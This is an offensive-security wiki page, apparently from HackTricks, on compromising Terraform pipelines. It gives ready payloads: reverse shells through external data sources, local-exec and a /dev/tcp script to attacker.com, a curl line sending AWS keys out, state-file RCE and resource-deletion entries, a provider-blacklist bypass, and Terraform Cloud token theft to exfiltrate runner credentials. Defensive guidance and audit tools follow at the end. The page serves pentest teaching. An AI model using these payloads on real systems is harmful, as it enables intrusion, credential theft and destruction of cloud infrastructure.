# Terraform Security

{{#include ../banners/hacktricks-training.md}}

## Basic Information

[From the docs:](https://developer.hashicorp.com/terraform/intro)

HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.

#### How does Terraform work?

Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.

![](<../images/image (177).png>)

HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.

The core Terraform workflow consists of three stages:

- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.

![](<../images/image (215).png>)

### Terraform Lab

Just install terraform in your computer.

Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).

## RCE in Terraform: config file poisoning

Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).

However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.

The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.

Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:

{{#ref}}
atlantis-security.md
{{#endref}}

If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.

### Terraform plan

Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.

**Using an external provider**

Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.

Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:

```javascript
data "external" "example" {
  program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```

**Using a custom provider**

An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):

```javascript
 terraform {
        required_providers {
            evil = {
                source  = "evil/evil"
                    version = "1.0"
            }
        }
    }

provider "evil" {}
```

The provider is downloaded in the `init` and will run the malicious code when `plan` is executed

You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)

**Using an external reference**

Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:

- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:

```javascript
module "not_rev_shell" {
  source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```

You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)

- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`

### Terraform Apply

Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:

```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
  provisioner "local-exec" {
    command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
  }
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
  provisioner "local-exec" {
    command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
  }
}
```

Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.

## Secrets Dumps

You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:

```json
output "dotoken" {
  value = nonsensitive(var.do_token)
}
```

## Abusing Terraform State Files

In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.

### RCE in Terraform: config file poisoning

It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).

To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:

```json
{
  "mode": "managed",
  "type": "rce",
  "name": "<arbitrary_name>",
  "provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
  "instances": [
    {
      "schema_version": 0,
      "attributes": {
        "command": "<arbitrary_command>",
        "id": "rce"
      },
      "sensitive_attributes": [],
      "private": "bnVsbA=="
    }
  ]
}
```

Then, as soon as `terraform` gets executed, your code will run.

### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>

There are 2 ways to destroy resources:

1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**

Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:

```json
{
  "mode": "managed",
  "type": "aws_instance",
  "name": "example",
  "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
  "instances": [
    {
      "attributes": {
        "id": "i-1234567890abcdefg"
      }
    }
  ]
},
```

2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**

For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.

### Replace blacklisted provider

In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.

```terraform
terraform {
  required_providers {
    external = {
      source  = "nazarewk/external"
      version = "3.0.0"
    }
  }
}
```

Then you can use `external` as per normal.

```terraform
data "external" "example" {
  program = ["sh", "-c", "whoami"]
}
```

## Terraform Cloud speculative plan RCE and credential exfiltration

This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.

- Preconditions:
  - Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
  - The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.

- Discover workspace and VCS settings via the TFC API:

```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
  https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```

- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:

```hcl
terraform {
  cloud {
    organization = "acmecorp"
    workspaces { name = "gcp-infra-prod" }
  }
}

data "external" "exec" {
  program = ["bash", "./rsync.sh"]
}
```

Example rsync.sh to obtain a reverse shell on the TFC runner:

```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```

Run a speculative plan to execute the program on the ephemeral runner:

```bash
terraform init
terraform plan
```

- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:

```bash
env | grep -i gcp || true
env | grep -i aws || true
```

Expected files on the runner working directory:
- GCP:
  - `tfc-google-application-credentials` (Workload Identity Federation JSON config)
  - `tfc-gcp-token` (short-lived GCP access token)
- AWS:
  - `tfc-aws-shared-config` (web identity/OIDC role assumption config)
  - `tfc-aws-token` (short-lived token; some orgs may use static keys)

- Use the short-lived credentials out-of-band to bypass VCS gates:

GCP (gcloud):

```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```

AWS (AWS CLI):

```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```

With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.

- Defensive guidance:
  - Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
  - Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
  - Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
  - Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
  - Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.


## Compromising Terraform Cloud

### Using a token

As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.

Using this token it's possible to get the org/workspace with:

```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```

Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.

### Escaping to the cloud

Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.

- **GCP files (present in current run working directory)**
  - `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
  - `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above

- **AWS files**
  - `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
(preferred over static keys).
  - `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.


## Automatic Audit Tools

### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)

Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.

- **Features:**
  - Real-time scanning for security vulnerabilities and compliance issues.
  - Integration with version control systems (GitHub, GitLab, Bitbucket).
  - Automated fix pull requests.
  - Detailed remediation advice.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).

```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```

### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>

**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.

It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.

It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).

```bash
pip install checkov
checkov -d /path/to/folder
```

### [terraform-compliance](https://github.com/terraform-compliance/cli)

From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.

- **compliance:** Ensure the implemented code is following security standards, your own custom standards
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** it validates your code before it is deployed
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.

> [!NOTE]
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.

```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```

### [tfsec](https://github.com/aquasecurity/tfsec)

From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.

- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
- ⛔ Hundreds of built-in rules
- 🪆 Scans modules (local and remote)
- ➕ Evaluates HCL expressions as well as literal values
- ↪️ Evaluates Terraform functions e.g. `concat()`
- 🔗 Evaluates relationships between Terraform resources
- 🧰 Compatible with the Terraform CDK
- 🙅 Applies (and embellishes) user-defined Rego policies
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via CLI flags and/or config file)
- ⚡ Very fast, capable of quickly scanning huge repositories

```bash
brew install tfsec
tfsec /path/to/folder
```

### [terrascan](https://github.com/tenable/terrascan)

Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:

- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.

```bash
brew install terrascan
terrascan scan -d /path/to/folder
```

### [KICKS](https://github.com/Checkmarx/kics)

Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.

**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.

```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```

### [Terrascan](https://github.com/tenable/terrascan)

From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:

- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.

```bash
brew install terrascan
```

## References

- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)

{{#include ../banners/hacktricks-training.md}}
